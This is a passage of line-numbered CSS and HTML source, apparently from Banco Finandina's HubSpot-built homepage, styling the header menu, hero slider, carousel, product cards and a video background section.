width:32px; 801 height:32px; 802 border-radius:8px; 803 display:inline-flex; 804 align-items:center; 805 justify-content:center; 806 flex-shrink:0; 807 transition:background .12s ease; 808} 809 810#hs_cos_wrapper_header-module-1 .link-item:hover .link-icon { background:rgba(227,25,82,0.12) !important; } 811 812#hs_cos_wrapper_header-module-1 .downmovmen a { 813 width:100%; 814 text-align:center; 815 height:auto; 816 min-height:44px; 817 display:flex; 818 align-items:center; 819 justify-content:center; 820 border:none !important; 821 outline:none !important; 822 box-shadow:none !important; 823} 824 825#hs_cos_wrapper_header-module-1 .border-red { text-align:-webkit-center; } 826 827@media (max-width:1296px) { 828 #hs_cos_wrapper_header-module-1 .todo-ellogo { width:66%; } 829} 830 831@media (max-width:1225px) { 832 #hs_cos_wrapper_header-module-1 ul[role=menu] li { margin-right:8px; } 833} 834 835@media (max-width:1170px) { 836 #hs_cos_wrapper_header-module-1 ul[role=menu] li { margin-right:3px; } 837 838 #hs_cos_wrapper_header-module-1 .ctas-nav { gap:9px; } 839} 840 841@media (max-width:1139px) { 842 #hs_cos_wrapper_header-module-1 ul { gap:5px; } 843 844 #hs_cos_wrapper_header-module-1 .ctas-nav { gap:4px; } 845 846 #hs_cos_wrapper_header-module-1 .site-nav a { padding:6px 10px; } 847 848 #hs_cos_wrapper_header-module-1 .border-red { margin-left:6px; } 849} 850 851@media (max-width:1092px) { 852 #hs_cos_wrapper_header-module-1 .panel { display:none; } 853 854 #hs_cos_wrapper_header-module-1 .border-red-mov { display:block; } 855 856 #hs_cos_wrapper_header-module-1 .hamburger { 857 display:flex; 858 align-items:center; 859 } 860 861 #hs_cos_wrapper_header-module-1 .border-red-mov { 862 margin-left:0; 863 width:fit-content; 864 margin-top:32px; 865 } 866 867 #hs_cos_wrapper_header-module-1 .todo-ellogo { display:none; } 868 869 #hs_cos_wrapper_header-module-1 .border-red { display:none; } 870 871 #hs_cos_wrapper_header-module-1 .dir-row-mov { flex-direction:row; } 872 873 #hs_cos_wrapper_header-module-1 details[open] summary+.hs-menu-children-wrapper { 874 opacity:1; 875 visibility:visible; 876 transform:none; 877 transition:opacity .16s ease,transform .16s ease; 878 pointer-events:auto; 879 } 880 881 #hs_cos_wrapper_header-module-1 details[open] summary svg { transform:rotate(180deg); } 882 883 #hs_cos_wrapper_header-module-1 .hs-menu-children-wrapper { 884 position:unset; 885 flex-wrap:nowrap; 886 max-height:unset; 887 background-color:#fff; 888 } 889 890 #hs_cos_wrapper_header-module-1 .site-header { width:100%; } 891 892 #hs_cos_wrapper_header-module-1 .site-nav { margin:auto; } 893} 894 895@media (min-width:851px) and (max-width:900px) { 896 #hs_cos_wrapper_header-module-1 .menu-responsive { width:100%; } 897 898 #hs_cos_wrapper_header-module-1 .ctas-nav { width:50%; } 899 900 #hs_cos_wrapper_header-module-1 .site-nav .logo { 901 flex-wrap:wrap; 902 gap:10px; 903 justify-content:center; 904 } 905 906 #hs_cos_wrapper_header-module-1 .todo-ellogo { width:70%; } 907 908 #hs_cos_wrapper_header-module-1 .todo-ellogo li { width:100%; } 909} 910 911 @media (max-width: 850px) { 912 .site-header { 913 width: 100%; 914 } 915 } 916</style> 917 918<link rel="stylesheet" href="https://www.bancofinandina.com/hubfs/hub_generated/module_assets/1/217157323408/1788973977534/module_Slider_Hero_Home.min.css"> 919 920<style> 921 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .hover-desktop { 922 position:absolute; 923 bottom:calc(100% + 20px); 924 left:50%; 925 transform:translateX(-50%); 926 width:max-content; 927 max-width:180px; 928 padding:7px 10px; 929 border-radius:8px; 930 background:#DBDBDB80; 931 color:#343434; 932 font-size:12px; 933 font-weight:700; 934 white-space:nowrap; 935 opacity:0; 936 visibility:hidden; 937 pointer-events:none; 938 transition:opacity .2s ease,visibility .2s ease; 939 z-index:20; 940} 941
942#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav button.btn-desktop { position:relative; } 943 944#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav { 945 position:relative; 946 display:flex; 947 justify-content:space-around; 948 align-items:center; 949 border-top:1px solid #e6e6e6; 950 padding:10px 12px 18px; 951 overflow:visible; 952} 953 954#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .btn-desktop:hover .hover-desktop { 955 opacity:1; 956 visibility:visible; 957} 958 959#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .btn-desktop:hover { filter:none !important; } 960 961#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider { 962 margin:0; 963 font-family:system-ui,Segoe UI,Roboto,Inter,Arial,sans-serif; 964 color:#555555; 965 background:#fdfdfd; 966 min-height:694px; 967 display:grid; 968 place-items:center; 969 padding:73px 15px 65px; 970 position:relative; 971} 972 973#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .titulo-responsive-ico { display:none; } 974 975#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .encabezado-title { 976 font-size:18px; 977 margin-top:0px; 978} 979 980#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider::before { 981 content:""; 982 position:absolute; 983 top:0; 984 left:0; 985 bottom:0; 986 width:45%; 987 background:linear-gradient(213deg,#6530A1 0.05%,#E31952 99.95%); 988 border-radius:0 59px 0 0; 989 z-index:0; 990} 991 992#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .slider { 993 position:relative; 994 z-index:1; 995} 996 997#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .slider { 998 width:min(1100px,100%); 999 background:#fff; 1000 border-radius:39px; 1001 box-shadow:0 12px 30px rgba(24,5,58,.12); 1002 overflow:hidden; 1003} 1004 1005#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-track { 1006 position:relative; 1007 min-height:500px; 1008 height:500px; 1009 touch-action:pan-y; 1010 user-select:none; 1011 cursor:grab; 1012} 1013 1014#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-track:active { cursor:grabbing; } 1015 1016#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .slide { 1017 position:absolute; 1018 inset:0; 1019 display:grid; 1020 grid-template-columns:1.05fr 1fr; 1021 gap:24px; 1022 padding:60px 80px; 1023 opacity:0; 1024 pointer-events:none; 1025 transition:opacity .5s,transform .6s; 1026 align-items:stretch; 1027 will-change:opacity,transform; 1028} 1029 1030#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .slide.is-active { 1031 opacity:1; 1032 transform:none; 1033 pointer-events:auto; 1034} 1035 1036#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .copy { 1037 display:grid; 1038 grid-template-rows:minmax(24px,auto) minmax(160px,auto) minmax(110px,auto) auto; 1039 align-content:start; 1040} 1041 1042#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .encabezado-title { 1043 font-size:18px; 1044 margin:0 0 8px; 1045} 1046 1047#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .title { 1048 font-weight:700; 1049 font-size:72px; 1050 margin:0; 1051 line-height:1.02; 1052 align-self:center; 1053} 1054 1055#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .desc { 1056 color:#6d6d6d; 1057 max-width:48ch; 1058 font-size:16px; 1059 align-self:start; 1060} 1061 1062#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .cta { 1063 background:#7835C3; 1064 color:#fff; 1065 border:0; 1066 border-radius:6px; 1067 padding:12px 18px; 1068 font-weight:700; 1069 cursor:pointer; 1070 font-size:16px; 1071 text-decoration:none; 1072 justify-self:start; 1073 align-self:end; 1074} 1075 1076#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .art { 1077 justify-self:center; 1078 width:auto; 1079 margin:0px; 1080 margin-right:-24px; 1081 align-self:center; 1082} 1083 1084#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .art img { 1085 height:auto; 1086 display:block; 1087 max-width:800px; 1088} 1089 1090#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav { 1091 position:relative; 1092 display:flex; 1093 justify-content:space-around; 1094 align-items:center; 1095 border-top:1px solid #e6e6e6; 1096 padding:10px 12px 18px; 1097} 1098 1099#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav::before { 1100 content:""; 1101 position:absolute; 1102 top:0; 1103 left:12px; 1104 right:12px; 1105 height:4px; 1106 border-radius:4px; 1107 background:#e6e6e6; 1108} 1109
1110#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav button { 1111 background:none; 1112 border:none; 1113 cursor:pointer; 1114 display:flex; 1115 flex-direction:column; 1116 align-items:center; 1117 gap:6px; 1118 padding:14px 16px; 1119 color:#a0a0a7; 1120} 1121 1122#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav button[aria-current="false"] { filter:invert(61%) sepia(0%) saturate(0%) hue-rotate(180deg) brightness(92%) contrast(88%); } 1123 1124#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav button[aria-current="true"] { color:#000; } 1125 1126#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav svg * { 1127 fill:currentColor !important; 1128 stroke:none !important; 1129} 1130 1131#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav svg { 1132 margin-top:8px; 1133 transition:fill 0.3s ease; 1134} 1135 1136#hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-indicator { 1137 position:absolute; 1138 top:0; 1139 height:6px; 1140 width:40px; 1141 left:0; 1142 background:linear-gradient(90deg,#e8376b,#7b2cff); 1143 transition:left .35s ease,width .35s ease; 1144} 1145 1146@media (max-width:780px) { 1147 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .art { 1148 justify-self:center; 1149 width:auto; 1150 margin:0px; 1151 margin-right:0px; 1152 margin-top:0px; 1153 } 1154 1155 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .art img { max-width:130px; } 1156 1157 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .slide { 1158 grid-template-columns:1fr; 1159 gap:14px; 1160 padding:28px; 1161 } 1162 1163 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider { 1164 padding:10px; 1165 background:#f5f6fb; 1166 } 1167 1168 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider::before { display:none; } 1169 1170 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav { 1171 justify-content:center; 1172 overflow:hidden; 1173 padding:8px 12px 14px; 1174 } 1175 1176 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav button { 1177 display:none; 1178 padding:12px 18px; 1179 } 1180 1181 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav button[aria-current="true"] { display:flex; } 1182 1183 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-nav svg { 1184 width:42px; 1185 height:26px; 1186 } 1187 1188 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-indicator { transition:left .25s ease,width .25s ease; } 1189 1190 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .encabezado-title { font-size:16px; } 1191 1192 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .copy { 1193 display:flex; 1194 flex-direction:column; 1195 height:auto; 1196 } 1197 1198 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .title { 1199 min-height:auto; 1200 font-size:30px; 1201 margin-top:30px; 1202 align-self:auto; 1203 } 1204 1205 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .desc { 1206 min-height:auto; 1207 margin-top:8px; 1208 margin-bottom:12px; 1209 } 1210 1211 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .cta { 1212 margin-top:0; 1213 align-self:baseline; 1214 } 1215 1216 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .hs-slider-track { height:520px; } 1217 1218 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .titulo-responsive-ico { 1219 display:block; 1220 color:#555555; 1221 font-weight:700; 1222 font-size:16px; 1223 } 1224 1225 #hs_cos_wrapper_dnd_area-dnd_partial-2-module-1 .section-slider .slider { border-radius:39px; } 1226} 1227 1228</style> 1229 1230 1231<style> 1232 #hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel *, 1233#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel *::before, 1234#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel *::after { box-sizing:border-box; } 1235 1236#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .section { 1237 line-height:165%; 1238 max-width:1100px; 1239 margin:38px auto 30px; 1240 text-align:center; 1241 padding:0 20px; 1242 font-family:Inter,system-ui,Segoe UI,Roboto,Arial,sans-serif; 1243} 1244 1245#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel { 1246 position:relative; 1247 margin-bottom:109px; 1248} 1249 1250#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .section { 1251 position:relative; 1252 display:flex; 1253 flex-direction:column; 1254 align-items:center; 1255} 1256 1257#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .section::before { 1258 content:""; 1259 left:50%; 1260 transform:translateX(-50%); 1261 width:2px; 1262 height:64.5px; 1263 background-color:#7835C3; 1264 top:-40px; 1265 margin-bottom:6px; 1266} 1267 1268#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel::after {
1269 content:""; 1270 position:absolute; 1271 left:50%; 1272 transform:translateX(-50%); 1273 width:2px; 1274 height:64.5px; 1275 background-color:#7835C3; 1276 bottom:-90px; 1277} 1278 1279#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .section h2 { 1280 margin:0 0 6px; 1281 font-size:24px; 1282 color:#454545; 1283 font-weight:700; 1284} 1285 1286#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .section p { 1287 margin:0 0 18px; 1288 color:#777; 1289 font-weight:400; 1290 font-size:24px; 1291} 1292 1293#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .carousel { 1294 max-width:1052px; 1295 margin:0 auto 64px; 1296} 1297 1298#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .viewport { 1299 height:253px; 1300 border-radius:24px; 1301 overflow:hidden; 1302 position:relative; 1303 background:radial-gradient(120% 120% at 80% 10%,#0b2a54 0%,#081a35 50%,#07132a 100%); 1304} 1305 1306#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .arrow.prev, 1307#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .arrow.next { display:none !important; } 1308 1309#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .track { 1310 display:flex; 1311 height:100%; 1312 transition:transform 1s cubic-bezier(.22,.61,.36,1); 1313 will-change:transform; 1314} 1315 1316#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .slide { 1317 flex:0 0 100%; 1318 position:relative; 1319 display:grid; 1320 grid-template-columns:1fr 1fr; 1321 align-items:center; 1322 gap:12px; 1323 padding:40px; 1324 color:#fff; 1325 background-size:cover; 1326 background-position:right center; 1327} 1328 1329#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .slide::before { 1330 content:""; 1331 position:absolute; 1332 inset:0; 1333 background:linear-gradient(90deg,rgba(57,25,93,0.9) 0%,rgba(253,253,253,0.3) 100%); 1334} 1335 1336#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .copy { 1337 position:relative; 1338 z-index:2; 1339 max-width:560px; 1340} 1341 1342#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .headline { 1343 margin:0 0 25px; 1344 font-size:24px; 1345 font-weight:700; 1346 line-height:100%; 1347} 1348 1349#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .sub { 1350 margin:0 0 25px; 1351 opacity:.95; 1352 line-height:normal; 1353 font-size:16px; 1354} 1355 1356#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .btn { 1357 font-size:16px; 1358 display:inline-block; 1359 background:#fff; 1360 color:#7835C3; 1361 text-decoration:none; 1362 font-weight:500; 1363 padding:10px 16px; 1364 border-radius:6px; 1365} 1366 1367#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .nav { 1368 position:absolute; 1369 inset:0; 1370 pointer-events:none; 1371} 1372 1373#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .arrow { 1374 pointer-events:all; 1375 position:absolute; 1376 top:50%; 1377 width:36px; 1378 height:36px; 1379 margin-top:-18px; 1380 border-radius:50%; 1381 background:rgba(255,255,255,.08); 1382 border:1px solid rgba(255,255,255,.25); 1383 display:grid; 1384 place-items:center; 1385 cursor:pointer; 1386 transition:background .2s ease,transform .2s ease; 1387 backdrop-filter:blur(8px); 1388 -webkit-backdrop-filter:blur(8px); 1389} 1390 1391#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .arrow:hover { 1392 background:rgba(255,255,255,.18); 1393 transform:scale(1.06); 1394} 1395 1396#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .arrow svg { 1397 width:18px; 1398 height:18px; 1399 fill:#fff; 1400} 1401 1402#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .prev { left:16px; } 1403 1404#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .next { right:16px; } 1405 1406#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .pager { 1407 position:absolute; 1408 left:50%; 1409 bottom:16px; 1410 transform:translateX(-50%); 1411 display:flex; 1412 align-items:center; 1413 gap:14px; 1414 z-index:3; 1415} 1416 1417#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .mini-btn { 1418 width:18px; 1419 height:18px; 1420 display:grid; 1421 place-items:center; 1422 background:transparent; 1423 border:none; 1424 cursor:pointer; 1425 padding:0; 1426 color:#fff; 1427 opacity:.95; 1428} 1429 1430#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .mini-btn svg { 1431 width:18px; 1432 height:18px; 1433 fill:#fff; 1434} 1435 1436#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .mini-btn:focus-visible { 1437 outline:2px solid #fff; 1438 outline-offset:3px; 1439 border-radius:4px; 1440} 1441 1442#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .dots { 1443 display:flex; 1444 gap:14px; 1445} 1446 1447#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .dot { 1448 position:relative; 1449 width:20px; 1450 height:20px; 1451 border-radius:999px; 1452 background:transparent; 1453 border:2px solid rgba(255,255,255,.95); 1454 cursor:pointer; 1455 padding:0; 1456 transition:transform .15s ease,opacity .2s ease,border-color .2s ease,background .2s ease; 1457} 1458 1459#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .dot:hover { transform:scale(1.08); } 1460 1461#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .dot:focus-visible { 1462 outline:2px solid #fff; 1463 outline-offset:3px; 1464} 1465 1466#hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .dot.active::after {
1467 content:""; 1468 position:absolute; 1469 left:50%; 1470 top:50%; 1471 width:8px; 1472 height:8px; 1473 background:#fff; 1474 border-radius:999px; 1475 transform:translate(-50%,-50%); 1476} 1477 1478@media (max-width:980px) { 1479 #hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .slide { 1480 grid-template-columns:1fr; 1481 align-items:end; 1482 padding:22px 18px 64px; 1483 background-position:80% center; 1484 } 1485 1486 #hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .slide::before { background:linear-gradient(90deg,rgba(57,25,93,0.9) 0%,rgba(253,253,253,0.3) 100%); } 1487 1488 #hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .arrow { display:none; } 1489 1490 #hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .sub { padding-right:40%; } 1491 1492 #hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .headline { padding-right:20%; } 1493 1494 #hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .viewport { height:367px; } 1495 1496 #hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .carousel { 1497 margin-left:10px; 1498 margin-right:10px; 1499 } 1500} 1501 1502</style> 1503 1504 1505 <style> 1506 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .tarjetas { margin-bottom:90px; } 1507 1508#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .tarjetas .title { 1509 margin-top:40px; 1510 margin-bottom:40px; 1511 text-align:center; 1512 color:#343434; 1513 font-family:Roboto,system-ui,sans-serif; 1514 font-size:48px; 1515 font-weight:700; 1516 line-height:normal; 1517} 1518 1519#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .tarjetas .title small { 1520 color:#555; 1521 font-size:36px; 1522 font-weight:400; 1523 display:block; 1524 margin-bottom:4px; 1525} 1526 1527#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .cards { 1528 display:grid; 1529 grid-template-columns:repeat(3,1fr); 1530 gap:32px; 1531} 1532 1533#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card { 1534 position:relative; 1535 border-radius:21px; 1536 padding:22px; 1537 min-height:334px; 1538 background:#F5F5F7; 1539 color:#555; 1540 isolation:isolate; 1541 overflow:hidden; 1542 text-decoration:none; 1543 display:block; 1544 transition:box-shadow 0.25s ease,transform 0.2s ease; 1545 will-change:transform,box-shadow; 1546} 1547 1548#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card:hover { 1549 box-shadow:0 12px 32px rgba(1,43,85,0.1); 1550 transform:translateY(-2px); 1551} 1552 1553#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card__eyebrow { 1554 position:relative; 1555 z-index:1; 1556 font-size:14px; 1557 color:#555; 1558 font-weight:400; 1559} 1560 1561#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card__cta { 1562 position:absolute; 1563 top:16px; 1564 right:20px; 1565 width:32px; 1566 height:32px; 1567 display:grid; 1568 place-items:center; 1569 border-radius:50%; 1570 z-index:10; 1571 transition:transform 0.2s ease,background 0.2s ease; 1572} 1573 1574#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card:hover .card__cta { transform:scale(1.1) translateX(1px); } 1575 1576#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card:hover .card__cta rect { 1577 fill:rgba(120,53,195,0.15); 1578 stroke:rgba(120,53,195,0.4); 1579} 1580 1581#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card__title { 1582 position:absolute; 1583 left:22px; 1584 bottom:28px; 1585 right:22px; 1586 z-index:1; 1587} 1588 1589#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card__title small { 1590 display:block; 1591 font-size:21px; 1592 font-weight:400; 1593 color:#555; 1594 line-height:1.2; 1595} 1596 1597#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card__title strong { 1598 display:block; 1599 font-size:26px; 1600 font-weight:700; 1601 color:#343434; 1602 line-height:1.15; 1603} 1604 1605#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card__img { 1606 position:absolute; 1607 right:0; 1608 top:0; 1609 z-index:0; 1610 max-width:70%; 1611 height:auto; 1612 transition:transform 700ms cubic-bezier(0.22,0.61,0.36,1); 1613 will-change:transform; 1614} 1615 1616#hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card:hover .card__img { transform:scale(1.04) translateX(4px); } 1617 1618@media (prefers-reduced-motion:reduce) { 1619 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card, 1620 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card__img, 1621 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card__cta { transition:none; } 1622 1623 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card:hover { transform:none; } 1624 1625 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card:hover .card__img { transform:none; } 1626} 1627 1628@media (max-width:980px) { 1629 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .cards { 1630 grid-template-columns:repeat(2,1fr); 1631 gap:20px; 1632 } 1633} 1634 1635@media (max-width:600px) { 1636 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .cards { 1637 display:flex; 1638 overflow-x:auto; 1639 gap:14px; 1640 scroll-snap-type:x mandatory; 1641 -webkit-overflow-scrolling:touch; 1642 padding-bottom:10px; 1643 padding-left:4px; 1644 } 1645 1646 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .cards::-webkit-scrollbar { height:6px; } 1647 1648 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .cards::-webkit-scrollbar-thumb { 1649 background:#d2d2df; 1650 border-radius:99px; 1651 } 1652 1653 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card { 1654 flex:0 0 280px; 1655 scroll-snap-align:start; 1656 min-height:290px; 1657 } 1658 1659 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .tarjetas { margin-bottom:40px; } 1660 1661 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .tarjetas .title { 1662 font-size:32px; 1663 margin-bottom:24px; 1664 } 1665 1666 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .tarjetas .title small { font-size:24px; } 1667} 1668 1669 </style> 1670 1671 1672<style>
1673 #hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo *, 1674#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo *::before, 1675#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo *::after { box-sizing:border-box; } 1676 1677#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo { 1678 margin:0; 1679 color:#fff; 1680 font-family:"Inter",system-ui,-apple-system,Segoe UI,Roboto,Arial,sans-serif; 1681 -webkit-font-smoothing:antialiased; 1682 text-rendering:optimizeLegibility; 1683 position:relative; 1684 isolation:isolate; 1685 overflow:hidden; 1686} 1687 1688#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .skip-link { 1689 position:absolute; 1690 left:-9999px; 1691} 1692 1693#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .skip-link:focus { 1694 left:16px; 1695 top:16px; 1696 background:#000; 1697 color:#fff; 1698 padding:8px 12px; 1699 border-radius:8px; 1700 z-index:1000; 1701} 1702 1703#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-bg { 1704 position:absolute; 1705 inset:0; 1706 overflow:hidden; 1707 z-index:0; 1708 background:#000; 1709 pointer-events:none; 1710 transform:translateZ(0); 1711 will-change:transform; 1712} 1713 1714#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-video { 1715 position:absolute; 1716 inset:0; 1717 width:100%; 1718 height:100%; 1719 object-fit:cover; 1720 object-position:60% center; 1721 filter:saturate(0.9) contrast(1.05); 1722} 1723 1724#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-scrim { 1725 position:absolute; 1726 inset:0; 1727 z-index:1; 1728 pointer-events:none; 1729 background:radial-gradient(1200px 100% at -10% 50%,rgba(0,0,0,.78) 0%,rgba(0,0,0,.15) 55%,rgba(0,0,0,.35) 100%),linear-gradient(90deg,rgba(0,0,0,.55) 0%,rgba(0,0,0,.35) 40%,rgba(0,0,0,.25) 70%,rgba(0,0,0,.35) 100%); 1730} 1731 1732#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero { 1733 height:598px; 1734 display:grid; 1735 align-items:center; 1736 padding:80px clamp(16px,4vw,48px); 1737} 1738 1739#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-inner { 1740 width:min(100%,1120px); 1741 margin-inline:auto; 1742 position:relative; 1743 z-index:2; 1744} 1745 1746#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-title { 1747 margin:0 0 24px 0; 1748 font-size:72px; 1749 font-weight:400; 1750 letter-spacing:-0.02em; 1751 line-height:1.05; 1752 max-width:24ch; 1753 text-align:left; 1754} 1755 1756#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .hero-sub { 1757 display:inline-block; 1758 margin-top:0.25em; 1759 font-size:72px; 1760 font-weight:500; 1761 color:#d7d7dc; 1762} 1763 1764#hs_cos_wrapper_dnd_area-dnd_partial-4-module-1 .section-video-fondo .cta { 1765 display:inline-block; 1766 font-weight:500; 1767 text-decoration:none; 1768 color:#7835C3; 1769 background:#fff; 1770 font-size:16px; 1771 padding:10px 